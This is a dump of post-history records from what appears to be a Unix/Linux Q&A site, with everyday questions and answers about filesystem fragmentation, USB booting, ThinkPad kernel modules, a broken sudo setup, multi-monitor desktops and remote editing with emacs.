  <row Id="28331" PostHistoryTypeId="2" PostId="11659" RevisionGUID="5a1ebfaf-f144-46e7-8007-4070f6b418ee" CreationDate="2011-04-19T23:53:17.950" UserId="5770" Text="If you're using ext, here is a good quote from Theodore Ts'o (he was heavily involved in the development of the file system):&#xD;&#xA;&#xD;&#xA;&gt;If you set the reserved block count to zero, it won't affect performance much except if you run for long periods of time (with lots of file creates and deletes) while the filesystem is almost full (i.e., say above 95%), at which point you'll be subject to fragmentation problems. Ext4's multi-block allocator is much more fragmentation resistant, because it tries much harder to find contiguous blocks, so even if you don't enable the other ext4 features, you'll see better results simply mounting an ext3 filesystem using ext4 before the filesystem gets completely full.&#xD;&#xA;&#xD;&#xA;So really, the answer is 'no'. Only in extreme cases will you start to see adverse fragmentation (with ext)." />
  <row Id="28332" PostHistoryTypeId="2" PostId="11660" RevisionGUID="9b72a3f3-aeec-4fe5-a39c-11d9f5b64f1e" CreationDate="2011-04-20T00:07:45.367" UserId="885" Text="Defragment is (or was) recommended under Windows because it had a poor filesystem implementation. Simple techniques such as allocating blocks for files in groups rather than one by one keep fragmentation down under Linux. Typical [Linux filesystems](http://en.wikipedia.org/wiki/Ext3#Defragmentation) only gain significantly from defragmentation on a nearly-full filesystem or with unusual write patterns. [Most users don't need it](http://askubuntu.com/questions/1090/why-is-defragmentation-unnecessary), though heavy torrenters could benefit from it (filling a file in little bits in the middle is not the case ext3 was optimized for).&#xD;&#xA;&#xD;&#xA;At the moment, there is no production-ready defragmentation tool for the common filesystems on Linux ([ext3](http://en.wikipedia.org/wiki/Ext3) and [ext4](http://en.wikipedia.org/wiki/Ext4)). If you installed [Ubuntu 9.10](http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Ubuntu_9.10_.28Karmic_Koala.29) or newer, or converted an existing installation, you have an [ext4](http://en.wikipedia.org/wiki/Ext4) filesystem, which supports [extents](http://en.wikipedia.org/wiki/Extent_%28file_systems%29), further reducing fragmentation.&#xD;&#xA;&#xD;&#xA;For those cases where fragmentation does arise, an ext4 defragmentation tool is in the works, [but it's not ready yet](http://askubuntu.com/questions/11384/is-e4defrag-ready-for-use).&#xD;&#xA;&#xD;&#xA;Note that in general, the Linux philosophy and especially the Ubuntu philosophy is that [common maintenance tasks should happen automatically without your needing to intervene](http://askubuntu.com/questions/3945/what-are-the-common-maintenance-tasks-on-ubuntu).&#xD;&#xA;" />
  <row Id="28333" PostHistoryTypeId="6" PostId="11657" RevisionGUID="d8b08d94-b509-4eb2-a409-138702e354d8" CreationDate="2011-04-20T00:07:59.317" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàéfilesystemsà" />
  <row Id="28334" PostHistoryTypeId="25" PostId="11652" RevisionGUID="2855000c-39ff-4e72-b4e9-2c8e457ebe42" CreationDate="2011-04-20T00:09:09.707" Comment="http://twitter.com/#!/StackUnix/status/60495181027352576" />
  <row Id="28335" PostHistoryTypeId="2" PostId="11661" RevisionGUID="7f2a3bf4-5046-48d7-a8d9-7fcfbd3620b3" CreationDate="2011-04-20T00:16:32.330" UserId="6759" Text="I'm dropped the 32-bit GRML ISO onto a 1GB thumb drive with the usual command:&#xD;&#xA;&#xD;&#xA;    dd if=grml_2010.12.iso of=/dev/USB_STICK&#xD;&#xA;&#xD;&#xA;(of course, with the correct device).  But, when I try to boot from it, it produces this error:&#xD;&#xA;&#xD;&#xA;    0AAD Loading ...bad magic error&#xD;&#xA;    ...bad magic&#xD;&#xA;&#xD;&#xA;And then proceeds to restart.  What would cause that?" />
  <row Id="28336" PostHistoryTypeId="1" PostId="11661" RevisionGUID="7f2a3bf4-5046-48d7-a8d9-7fcfbd3620b3" CreationDate="2011-04-20T00:16:32.330" UserId="6759" Text="Error While Booting GRML" />
  <row Id="28337" PostHistoryTypeId="3" PostId="11661" RevisionGUID="7f2a3bf4-5046-48d7-a8d9-7fcfbd3620b3" CreationDate="2011-04-20T00:16:32.330" UserId="6759" Text="élinuxàéliveöusbàégrmlà" />
  <row Id="28338" PostHistoryTypeId="2" PostId="11662" RevisionGUID="b17367e5-0521-4460-9772-0c1c74276ce6" CreationDate="2011-04-20T01:00:17.987" UserId="6167" Text="Check if your distribution already has packages for docbook.  Looking at Debian/Ubuntu I see packages for docbook, docbook-dsssl, and several others.  FreeBSD has Docbook in ports and I'm sure many other Linux distribution have it as well.  This will be must easier than installing Docbook from source." />
  <row Id="28339" PostHistoryTypeId="2" PostId="11663" RevisionGUID="e573a611-9d1e-46a2-9564-66a8cdd885b5" CreationDate="2011-04-20T01:10:10.710" UserId="6167" Text="You could blacklist the module claiming the device under `/etc/modprobe.d/blacklist.conf`  To determine the driver using the device use `lsusb -t`" />
  <row Id="28340" PostHistoryTypeId="2" PostId="11664" RevisionGUID="1230d551-68f5-4413-b057-544ab8cd08ac" CreationDate="2011-04-20T01:12:20.280" UserId="6760" Text="In your opinion, what papers other than the ones listed [here](http://en.wikipedia.org/wiki/List_of_important_publications_in_computer_science#Operating_systems) are fundamental to understanding the development of unix (or operating systems in general)." />
  <row Id="28341" PostHistoryTypeId="1" PostId="11664" RevisionGUID="1230d551-68f5-4413-b057-544ab8cd08ac" CreationDate="2011-04-20T01:12:20.280" UserId="6760" Text="Papers worth reading" />
  <row Id="28342" PostHistoryTypeId="3" PostId="11664" RevisionGUID="1230d551-68f5-4413-b057-544ab8cd08ac" CreationDate="2011-04-20T01:12:20.280" UserId="6760" Text="élinuxà" />
  <row Id="28343" PostHistoryTypeId="2" PostId="11665" RevisionGUID="af6a4342-311b-4007-9245-d8cd92cd138f" CreationDate="2011-04-20T01:21:47.627" UserId="6167" Text="I had a book on an operating system [XINU](http://en.wikipedia.org/wiki/Xinu) which is Unix Is Not XINU.  It's a small, Unix inspired operating system.  Nearly the entire source code is in the book at they dissect each piece.  It's mostly written in C, but a few core pieces in assembler.  This greatly helped my understanding of Operating Systems in an easy to learn way." />
  <row Id="28344" PostHistoryTypeId="2" PostId="11666" RevisionGUID="f7b5d27d-ed97-428d-96a6-951a1bb21f41" CreationDate="2011-04-20T01:24:05.510" UserId="6761" Text="There are quite a few Macbook users in the Arch community. There is good documentation on the Arch wiki about installation, and a few threads in the forums describing issues and fixes.&#xD;&#xA;&#xD;&#xA;[Macbook on the Arch Wiki][1]&#xD;&#xA;&#xD;&#xA;[Page with detail on the aluminium model][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/MacBook&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/MacBook_Aluminum" />
  <row Id="28345" PostHistoryTypeId="2" PostId="11667" RevisionGUID="e64d5219-27dd-4506-aa36-c8d447b09c56" CreationDate="2011-04-20T01:37:40.520" UserId="6575" Text="see &#xD;&#xA;http://www.catonmat.net/blog/set-operations-in-unix-shell/&#xD;&#xA;http://www.catonmat.net/blog/set-operations-in-unix-shell-simplified/&#xD;&#xA;will solve your problem!" />
  <row Id="28346" PostHistoryTypeId="2" PostId="11668" RevisionGUID="b82e445b-0f14-44f9-b77d-177b293db8d1" CreationDate="2011-04-20T03:05:47.440" UserId="6764" Text="I have an Ubuntu system that I think matches what you describe.  I have two displays, with each display having a separate menu and separate taskbar.  Each display even has its own set of virtual workspaces.  I can run Windows in a VMware session (or via RDP) fullscreen on one display and treat the other display as though it were a totally separate Ubuntu computer (except that they share the keyboard and mouse).&#xD;&#xA;&#xD;&#xA;I am doing this through the proprietary NVIDIA driver, using &quot;separate X screens&quot; (or something like that).  I did not drag the new panels to the second display -- instead, a fresh set of panels was created by default when I enabled this mode.&#xD;&#xA;&#xD;&#xA;On the whole, I am very pleased with this configuration, but there are some minor glitches:&#xD;&#xA;&#xD;&#xA; - You can't drag windows between the two screens&#xD;&#xA; - Some applications always open on the primary screen regardless of where you launch from (Chromium browser for example)&#xD;&#xA; - The nvidia-settings applet is dying with a segmentation fault (it never even opens the dialog), so I can't give you too many specifics at the moment&#xD;&#xA; - The &quot;Workspace Switcher Preferences&quot; is somewhat confused by this setup and seems to partially link the configuration of the two screens&#xD;&#xA;&#xD;&#xA;I have found that restarting X seems to help resolve some of the various confusions that occur during the configuration process for this setup.  Therefore, I recommend you try doing that if a configuration change doesn't seem to have had the expected effect.&#xD;&#xA;&#xD;&#xA;Does this sound like what you are looking for?  I'm still looking for ways to optimize this setup, so I'm hoping to hear from others who are using it.&#xD;&#xA;" />
  <row Id="28347" PostHistoryTypeId="25" PostId="11657" RevisionGUID="f1e78eb2-d6f2-4a44-a711-1816f4d4d219" CreationDate="2011-04-20T03:09:09.840" Comment="http://twitter.com/#!/StackUnix/status/60540480475246592" />
  <row Id="28348" PostHistoryTypeId="2" PostId="11669" RevisionGUID="ac46f6bb-027d-44f1-a77a-2272e159ad1f" CreationDate="2011-04-20T04:13:27.093" UserId="6764" Text="View man pages in a user-friendly graphical application:&#xD;&#xA;&#xD;&#xA;    konqueror man:(command)&#xD;&#xA;&#xD;&#xA;For the top-level table of contents:&#xD;&#xA;&#xD;&#xA;    konqueror man:&#xD;&#xA;&#xD;&#xA;Features:&#xD;&#xA;&#xD;&#xA; - If you enter a command that has a match in multiple sections, it takes you to a disambiguation page&#xD;&#xA; - It's a graphical application, so you don't have to remember cryptic key sequences to navigate the page&#xD;&#xA; - It includes hyperlinks to related pages&#xD;&#xA; - You can open related pages in separate tabs" />
  <row Id="28349" PostHistoryTypeId="2" PostId="11670" RevisionGUID="2def099b-1847-40ef-889e-33e71b8144fb" CreationDate="2011-04-20T04:13:45.953" UserId="6767" Text="My brand new Thinkpad X120e is working well with Ubuntu Natty.  Now I want to get the &lt;a href=&quot;http://www.thinkwiki.org/wiki/Tp_smapi&quot;&gt;tp_smapi module&lt;/a&gt; to work so I can control battery charge behavior.  Unfortunately I get &quot;no Thinkpad embedded controller&quot; (below).&#xD;&#xA;&#xD;&#xA;The thinkwiki tp_smapi page says in this case &quot;you should &lt;a href=&quot;http://www.thinkwiki.org/wiki/BIOS_Upgrade&quot;&gt;upgrade your BIOS&lt;/a&gt;.  Some early BIOS (like 1.x on the X31) don't handle the embedded controller&quot;.  But in my case, dmidecode suggests I'm already using the almost-newest &lt;a href=&quot;http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-74392&quot;&gt;BIOS from IBM&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;    # apt-get install tp-smapi-dkms&#xD;&#xA;    ...(works)...&#xD;&#xA;    # modprobe -v tp_smapi&#xD;&#xA;    WARNING: Error inserting thinkpad_ec (/lib/modules/2.6.38-7-generic/updates/dkms/thinkpad_ec.ko): No such device&#xD;&#xA;    FATAL: Error inserting tp_smapi (/lib/modules/2.6.38-7-generic/updates/dkms/tp_smapi.ko): No such device&#xD;&#xA;    # tail -1 /var/log/syslog&#xD;&#xA;    Apr 19 23:45:05 xilotl kernel: [ 5552.149408] thinkpad_ec: no ThinkPad embedded controller!&#xD;&#xA;    # dmidecode -s bios-version&#xD;&#xA;    8FET26WW (1.10 )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any other idea how to make this work?" />
  <row Id="28350" PostHistoryTypeId="1" PostId="11670" RevisionGUID="2def099b-1847-40ef-889e-33e71b8144fb" CreationDate="2011-04-20T04:13:45.953" UserId="6767" Text="How to load tp_smapi on Thinkpad X120e" />
  <row Id="28351" PostHistoryTypeId="3" PostId="11670" RevisionGUID="2def099b-1847-40ef-889e-33e71b8144fb" CreationDate="2011-04-20T04:13:45.953" UserId="6767" Text="éthinkpadà" />
  <row Id="28352" PostHistoryTypeId="2" PostId="11671" RevisionGUID="d3349ee1-b302-43a7-a273-7198a3631b59" CreationDate="2011-04-20T04:19:25.297" UserId="6575" Text="see http://en.wikipedia.org/wiki/Control_Sequence_Introducer for more more details" />
  <row Id="28353" PostHistoryTypeId="10" PostId="11664" RevisionGUID="10f4591b-f585-44ad-a6d6-34390b959131" CreationDate="2011-04-20T05:02:03.973" UserId="73" CloseReasonId="3" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="28354" PostHistoryTypeId="5" PostId="2001" RevisionGUID="b46b4387-b39f-452a-ad74-2153d533b558" CreationDate="2011-04-20T05:25:45.293" UserId="4485" Comment="made kbd-layout" Text="The default pager for reading a man page is `less`. There is documentation on `less` [here][1].&#xD;&#xA;&#xD;&#xA;In particular:&#xD;&#xA;&#xD;&#xA; - Scroll up/down by one page:  &lt;kbd&gt; b&lt;/kbd&gt; / &lt;kbd&gt; space&lt;/kbd&gt;&#xD;&#xA; - Scroll up/down by half a page: &lt;kbd&gt; u&lt;/kbd&gt; / &lt;kbd&gt; d&lt;/kbd&gt;&#xD;&#xA; - Searching forwards/backwards: &lt;kbd&gt; /&lt;/kbd&gt; / &lt;kbd&gt; ?&lt;/kbd&gt;, then type a regular expression,&#xD;&#xA;  - then then hit &lt;kbd&gt; n&lt;/kbd&gt;  to go to the next match or&#xD;&#xA;  - &lt;kbd&gt; shift&lt;/kbd&gt;+&lt;kbd&gt; N&lt;/kbd&gt; to go to the previous match. &#xD;&#xA;  - If the page is covered with uninteresting matches, hit &lt;kbd&gt; space&lt;/kbd&gt; to go to the next page. &#xD;&#xA; - Add an &lt;kbd&gt; @&lt;/kbd&gt; before the regular expression to search from the&#xD;&#xA;   start.&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?less" />
  <row Id="28355" PostHistoryTypeId="2" PostId="11672" RevisionGUID="491a6cad-8780-45ee-bf48-98a5a51aa7c0" CreationDate="2011-04-20T05:29:21.630" UserId="5535" Text="This is the best explanation (not only of file fragmentation but of how EXT2/3/4 is more resistant to it than FAT or NTFS) I have found and I still refer people to it: http://geekblog.oneandoneis2.org/index.php/2006/08/17/why_doesn_t_linux_need_defragmenting" />
  <row Id="28357" PostHistoryTypeId="2" PostId="11674" RevisionGUID="439d2cc6-1a3a-4cb0-83b8-a0e8acdfde7e" CreationDate="2011-04-20T05:40:59.453" UserId="4485" Text="The filesystem treats filenames (whole filenames, including paths) as unique. &#xD;&#xA;&#xD;&#xA;Operations? &#xD;&#xA;&#xD;&#xA;You may copy the files in a/ and b/ to the empty directory c/, to get a new, union set. &#xD;&#xA;&#xD;&#xA;With file-tests like `-e name` and loops or find, you may check for files existing in two or more directories, to get the intersection, or the difference. &#xD;&#xA;&#xD;&#xA; " />
  <row Id="28363" PostHistoryTypeId="2" PostId="11677" RevisionGUID="b8dd8aad-379f-406d-84c4-7fb1d1648e53" CreationDate="2011-04-20T06:38:37.617" UserId="2469" Text="There are a few larger programs I am interested in compiling with -Os. The normal method I use to patch/recompile programs is apt-get source followed by dpkg-buildpackage.&#xD;&#xA;&#xD;&#xA;I learned from the dpkg-buildflags man page that I can set global flags in a configuration file. This seems to work for only some packages if I append the flags I want. The problem is that most programs ignore the flags and build with -O2 (and in some cases -O3) anyway.&#xD;&#xA;&#xD;&#xA;Is there a way I can force the compiler to use -Os?" />
  <row Id="28364" PostHistoryTypeId="1" PostId="11677" RevisionGUID="b8dd8aad-379f-406d-84c4-7fb1d1648e53" CreationDate="2011-04-20T06:38:37.617" UserId="2469" Text="How to recompile a Debian package with -Os?" />
  <row Id="28365" PostHistoryTypeId="3" PostId="11677" RevisionGUID="b8dd8aad-379f-406d-84c4-7fb1d1648e53" CreationDate="2011-04-20T06:38:37.617" UserId="2469" Text="édebianàégccàécompileà" />
  <row Id="28366" PostHistoryTypeId="6" PostId="11670" RevisionGUID="bab56be5-e8b1-47e9-83fc-0a63a1adb286" CreationDate="2011-04-20T07:12:16.200" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàéthinkpadà" />
  <row Id="28367" PostHistoryTypeId="6" PostId="11243" RevisionGUID="05fc1014-69da-4f0a-a66a-b6ee03d288d3" CreationDate="2011-04-20T07:13:02.097" UserId="885" Comment="edited tags" Text="éshellàéterminalàécolorsàéescapeöcharactersà" />
  <row Id="28368" PostHistoryTypeId="5" PostId="11660" RevisionGUID="40622071-cfa3-4d4d-b23b-98d89cbd0d04" CreationDate="2011-04-20T07:15:37.667" UserId="885" Comment="added 173 characters in body" Text="Defragment is (or was) recommended under Windows because it had a poor filesystem implementation. Simple techniques such as allocating blocks for files in groups rather than one by one keep fragmentation down under Linux. Typical [Linux filesystems](http://en.wikipedia.org/wiki/Ext3#Defragmentation) only gain significantly from defragmentation on a nearly-full filesystem or with unusual write patterns. [Most users don't need it](http://askubuntu.com/questions/1090/why-is-defragmentation-unnecessary), though heavy file sharers could benefit from it (filling a file in little bits in the middle is not the case ext3 was optimized for; if you're concerned about fragmentation and your bittorrent or other file sharing client offers that option, tell it to preallocate all files before starting to download).&#xD;&#xA;&#xD;&#xA;At the moment, there is no production-ready defragmentation tool for the common filesystems on Linux ([ext3](http://en.wikipedia.org/wiki/Ext3) and [ext4](http://en.wikipedia.org/wiki/Ext4)). If you installed [Ubuntu 9.10](http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Ubuntu_9.10_.28Karmic_Koala.29) or newer, or converted an existing installation, you have an [ext4](http://en.wikipedia.org/wiki/Ext4) filesystem, which supports [extents](http://en.wikipedia.org/wiki/Extent_%28file_systems%29), further reducing fragmentation.&#xD;&#xA;&#xD;&#xA;For those cases where fragmentation does arise, an ext4 defragmentation tool is in the works, [but it's not ready yet](http://askubuntu.com/questions/11384/is-e4defrag-ready-for-use).&#xD;&#xA;&#xD;&#xA;Note that in general, the Linux philosophy and especially the Ubuntu philosophy is that [common maintenance tasks should happen automatically without your needing to intervene](http://askubuntu.com/questions/3945/what-are-the-common-maintenance-tasks-on-ubuntu).&#xD;&#xA;" />
  <row Id="28370" PostHistoryTypeId="2" PostId="11678" RevisionGUID="c68d4354-555b-42ae-99f9-c3ad917c1341" CreationDate="2011-04-20T08:42:52.527" UserId="3834" Text="Is there a way to use the emacs installed my local computer to access remote files I have in a remote server? I have googled and found out that I should use [TrampMode][1] however it is necessary for me to know the exact file path. Isn't there a way for me to open an ssh connection to the remote server and from there open the files with the local emacs in my computer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emacswiki.org/cgi-bin/wiki/TrampMode" />
  <row Id="28371" PostHistoryTypeId="1" PostId="11678" RevisionGUID="c68d4354-555b-42ae-99f9-c3ad917c1341" CreationDate="2011-04-20T08:42:52.527" UserId="3834" Text="how to ssh to remote server and use local emacs to edit files?" />
  <row Id="28372" PostHistoryTypeId="3" PostId="11678" RevisionGUID="c68d4354-555b-42ae-99f9-c3ad917c1341" CreationDate="2011-04-20T08:42:52.527" UserId="3834" Text="ésshàéemacsà" />
  <row Id="28373" PostHistoryTypeId="25" PostId="11677" RevisionGUID="bb06b1da-ddac-4851-aa21-43df5c073751" CreationDate="2011-04-20T09:09:09.550" Comment="http://twitter.com/#!/StackUnix/status/60631075776503808" />
  <row Id="28374" PostHistoryTypeId="2" PostId="11679" RevisionGUID="00333190-27ff-46f7-85ec-9e6c7e8d8171" CreationDate="2011-04-20T09:13:27.657" UserId="6598" Text="The [KDE][1] desktop environment has native support for this. Check out [Kubuntu][2] which basically is Ubuntu using KDE.&#xD;&#xA;&#xD;&#xA;Here is how you do it:&#xD;&#xA;&#xD;&#xA; 1. Right click on the desktop -&gt; Add Panel -&gt; Default Panel&#xD;&#xA; 2. Right click on the panel -&gt; Add Widgets&#xD;&#xA; 3. Choose the Task Manager&#xD;&#xA; 4. Right click the Task Manager -&gt; Task Manager Settings&#xD;&#xA; 5. Check &quot;Only show tasks from the current screen&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kde.org/&#xD;&#xA;  [2]: http://www.kubuntu.org/" />
  <row Id="28375" PostHistoryTypeId="2" PostId="11680" RevisionGUID="3166d436-1c31-4cea-9123-9824f960e08e" CreationDate="2011-04-20T09:23:51.570" UserId="6781" Text="I recently started messing with some files on a virtual hosted machine and I was logged in a normal/non-root user. At first everything was fine, I was able to install anything I needed using:&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install tree&#xD;&#xA;&#xD;&#xA;But I somehow messed up a file where now when I do that I get the following error:&#xD;&#xA;&#xD;&#xA;    sudo: can't open /etc/sudoers: Permission denied&#xD;&#xA;&#xD;&#xA;I'm not sure how to diagnose this, I've googled for solutions but everything's about what sudo is and nothing related to what to do about re-enabling users to use it.&#xD;&#xA;&#xD;&#xA;Let me know if you'd like any other details in comments :)&#xD;&#xA;" />
  <row Id="28376" PostHistoryTypeId="1" PostId="11680" RevisionGUID="3166d436-1c31-4cea-9123-9824f960e08e" CreationDate="2011-04-20T09:23:51.570" UserId="6781" Text="Sudo no longer available and users can't install or modified most files" />
  <row Id="28377" PostHistoryTypeId="3" PostId="11680" RevisionGUID="3166d436-1c31-4cea-9123-9824f960e08e" CreationDate="2011-04-20T09:23:51.570" UserId="6781" Text="ébashàéubuntuàésudoà" />
  <row Id="28378" PostHistoryTypeId="2" PostId="11681" RevisionGUID="923a9a3c-a18f-40bc-8493-e09319847a82" CreationDate="2011-04-20T09:28:07.803" UserId="1925" Text="The array of tools that can handle this in various forms is dizzying. There isn't one piece of software that does this, there much be a couple hundred.&#xD;&#xA;&#xD;&#xA;First of all, you can configure linux to run dual head in such a way that you can run separate window managers on each screen. You could run gnome on one and kde on the other or twm on one and awesome on another.&#xD;&#xA;&#xD;&#xA;Secondly many window managers have elaborate systems have handling what goes to what monitor, what taskbar / manager interface they show up in, etc. Most window managers even have more than one way of doing this, and many session/desktop managers have many tools that run inside them that choose to accomplish this differently.&#xD;&#xA;&#xD;&#xA;Personally, like @Malvineous I use [awesome][1] to handle multiple monitors. It's tag system is uniquely different than most virtual desktop systems allowing mixing and matching of programs across one or several workspaces. I have one taskbar for each screen, but both taskbars are on the smallest monitor. Each taskbar shows the different desktops and what programs are running on each monitor. Although I can select these with the mouse it is mostly for a visual point of reference, not for clicking.&#xD;&#xA;&#xD;&#xA;I suggest you play with several desktop environments and window managers until you find a combination that generally feels right to you. Instead of expecting a certain set of behaviors, don't write each one off until you understand how it was designed to function best, then evaluate whether it's methodology might be better for your work flow. Once you get the hang of the various options and pick a system, start customizing it so that it behaves exactly how you want, but stay flexible to alternate work flows. Many people have left their mark on linux workflows and there is a lot to be learned from them.&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.naquadah.org/" />
  <row Id="28379" PostHistoryTypeId="5" PostId="11680" RevisionGUID="8bb9cbd9-ec5c-423a-9a58-835c19b3526c" CreationDate="2011-04-20T09:36:18.003" UserId="6781" Comment="added 99 characters in body" Text="I recently started messing with some files on a virtual hosted machine and I was logged in a normal/non-root user. At first everything was fine, I was able to install anything I needed using:&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install tree&#xD;&#xA;&#xD;&#xA;But I somehow messed up a file where now when I do that I get the following error:&#xD;&#xA;&#xD;&#xA;    sudo: can't open /etc/sudoers: Permission denied&#xD;&#xA;&#xD;&#xA;I'm not sure how to diagnose this, I've googled for solutions but everything's about what sudo is and nothing related to what to do about re-enabling users to use it.&#xD;&#xA;&#xD;&#xA;Let me know if you'd like any other details in comments :)&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;    ls -l /etc/sudoers&#xD;&#xA;    -r--r----- 1 root root 577 Apr 20 03:42 /etc/sudoers&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28380" PostHistoryTypeId="2" PostId="11682" RevisionGUID="2e8ecb51-8112-4cf2-a385-a78ed45b7005" CreationDate="2011-04-20T09:38:25.740" UserId="1925" Text="There are various ways to do this, but in generally you are going about this problem backwards. Copy your emacs configs to the remote machine and use emacs local to the files you are editing.&#xD;&#xA;&#xD;&#xA;The &quot;various ways to do this&quot; would fall into two categories. First would be ways of mounting a remote drive locally through something like sshfs, some fuse file system, samba, nfs, or any number of other mounting systems to bring file level access to your machine. Second would be various programs that allow you to login and browse a remote system, then operate on files by transferring a copy of them to a local temp file, editing it, then transferring it back. Several programs make that process look pretty seamless, but it's a hack." />
  <row Id="28382" PostHistoryTypeId="2" PostId="11684" RevisionGUID="8330818d-d58a-4d7f-99c1-7fa68c0c267a" CreationDate="2011-04-20T10:00:53.750" UserId="3169" Text="There's a lot of things that could be failing, but given your output of `ls -la /usr/bin/sudo`, most of them are ruled out.&#xD;&#xA;&#xD;&#xA;Do you have `strace`?&#xD;&#xA;&#xD;&#xA;Can you log in as root using `su -`, then run this?&#xD;&#xA;&#xD;&#xA;    # ltrace -u &lt;yourusername&gt; sudo ls 2&gt;&amp;1 | egrep '(open|stat)'&#xD;&#xA;&#xD;&#xA;and/or&#xD;&#xA;&#xD;&#xA;    # strace -e trace=file -u &lt;yourusername&gt; sudo ls 2&gt;&amp;1 | grep sudo" />
  <row Id="28384" PostHistoryTypeId="5" PostId="11684" RevisionGUID="0b56c631-fae6-4924-9812-a736ade0bb33" CreationDate="2011-04-20T10:07:47.927" UserId="3169" Comment="added 5 characters in body; added 55 characters in body" Text="There's a lot of things that could be failing, but given your output of `ls -la /usr/bin/sudo`, most of them are ruled out.&#xD;&#xA;&#xD;&#xA;Do you have `strace`?&#xD;&#xA;&#xD;&#xA;Can you log in as root using `su -`, then run this?&#xD;&#xA;&#xD;&#xA;    # ltrace -u &lt;username&gt; sudo true 2&gt;&amp;1  | egrep '(sudo|stat|set.*[ug].*id)'&#xD;&#xA;&#xD;&#xA;and/or&#xD;&#xA;&#xD;&#xA;    # strace -u &lt;yourusername&gt; sudo true 2&gt;&amp;1 | egrep '(sudo|set.*[ug].*id)'&#xD;&#xA;&#xD;&#xA;And add the output to your question." />
  <row Id="28385" PostHistoryTypeId="2" PostId="11685" RevisionGUID="feb1b8df-c071-40fc-9e31-8e687f64a9bb" CreationDate="2011-04-20T10:11:00.407" UserId="6782" Text="In our UNIX machine my home path looks like `/home/&lt;userid&gt;` and we have another batch user whose home looks like `/export/home/&lt;userid&gt;`&#xD;&#xA;&#xD;&#xA;I want to know whats the difference between `/export/home/&lt;userid&gt;` and `/home/&lt;userid&gt;`?&#xD;&#xA;&#xD;&#xA;Why there are difference in folders when both are some user in UNIX?&#xD;&#xA;" />
  <row Id="28386" PostHistoryTypeId="1" PostId="11685" RevisionGUID="feb1b8df-c071-40fc-9e31-8e687f64a9bb" CreationDate="2011-04-20T10:11:00.407" UserId="6782" Text="Difference between “/export/home” and “/home”" />
  <row Id="28387" PostHistoryTypeId="3" PostId="11685" RevisionGUID="feb1b8df-c071-40fc-9e31-8e687f64a9bb" CreationDate="2011-04-20T10:11:00.407" UserId="6782" Text="élinuxà" />
  <row Id="28388" PostHistoryTypeId="2" PostId="11686" RevisionGUID="2e36a426-17a0-4b68-8e87-303d1decc08d" CreationDate="2011-04-20T10:18:58.917" UserId="6783" Text="I've seen the `/export/home` layout on old Solaris machines that I've used and it was a convention indicating that the partition was exported via. NFS. This is not something that's listed in the FHS so I don't know how &quot;standard&quot; it is really." />
  <row Id="28389" PostHistoryTypeId="5" PostId="11684" RevisionGUID="aaf08512-57bc-40a5-8108-2414a1d71152" CreationDate="2011-04-20T10:19:14.020" UserId="3169" Comment="added 60 characters in body; added 122 characters in body" Text="There's a lot of things that could be failing, but given your output of `ls -la /usr/bin/sudo`, most of them are ruled out.&#xD;&#xA;&#xD;&#xA;First a couple of quick checks:&#xD;&#xA;&#xD;&#xA;1. what does `type sudo` print?&#xD;&#xA;2. what does `getent group 0` print?&#xD;&#xA;&#xD;&#xA;Then, to properly see what's going on, can you log in as root using `su -`, then run this?&#xD;&#xA;&#xD;&#xA;    # apt-get install ltrace&#xD;&#xA;    # ltrace -u &lt;username&gt; sudo true 2&gt;&amp;1  | egrep '(sudo|stat|set.*[ug].*id)'&#xD;&#xA;&#xD;&#xA;and/or&#xD;&#xA;&#xD;&#xA;    # apt-get install strace&#xD;&#xA;    # strace -u &lt;yourusername&gt; sudo true 2&gt;&amp;1 | egrep '(sudo|set.*[ug].*id)'&#xD;&#xA;&#xD;&#xA;And add the output to your question." />
  <row Id="28390" PostHistoryTypeId="2" PostId="11687" RevisionGUID="a7504672-afec-4fe0-8acb-25d684a209c8" CreationDate="2011-04-20T10:22:12.770" UserId="3169" Text="As Noufal Ibrahim says, I think this is a Solaris convention.&#xD;&#xA;&#xD;&#xA;IIRC, `/export/home` is used on the server where the actual files live, and `/home` is where the other servers mount it.&#xD;&#xA;&#xD;&#xA;What does `mount | grep home` say?  I'm guessing that `/export/home` has a file system type of `UFS`, and `/home` has a type of `NFS`?&#xD;&#xA;&#xD;&#xA;`/etc/fstab` may also have some clues." />
  <row Id="28391" PostHistoryTypeId="2" PostId="11688" RevisionGUID="bfdc94d7-01bd-494b-baa5-018cef9185ea" CreationDate="2011-04-20T11:26:04.490" UserId="1542" Text="Hi All&#xD;&#xA;&#xD;&#xA;I want to use a Linux Application under Windows. The application is Linux only and to use it in Windows i have to compile the application from the source using Cygwin or MinGW.&#xD;&#xA;&#xD;&#xA;This is my understanding.&#xD;&#xA;&#xD;&#xA;&gt; The confusion is what to use: Cygwin&#xD;&#xA;&gt; or MinGW?&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;&gt; Should i setup Cygwin or MinGW in&#xD;&#xA;&gt; Windows and then compile the Linux&#xD;&#xA;&gt; Application there?&#xD;&#xA;&gt; &#xD;&#xA;   &#xD;&#xA;&gt; Should i setup Cygwin or MinGW in Linux&#xD;&#xA;&gt; and then compile the Linux Application&#xD;&#xA;&gt; there?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28392" PostHistoryTypeId="1" PostId="11688" RevisionGUID="bfdc94d7-01bd-494b-baa5-018cef9185ea" CreationDate="2011-04-20T11:26:04.490" UserId="1542" Text="Compile Linux Application for Windows" />
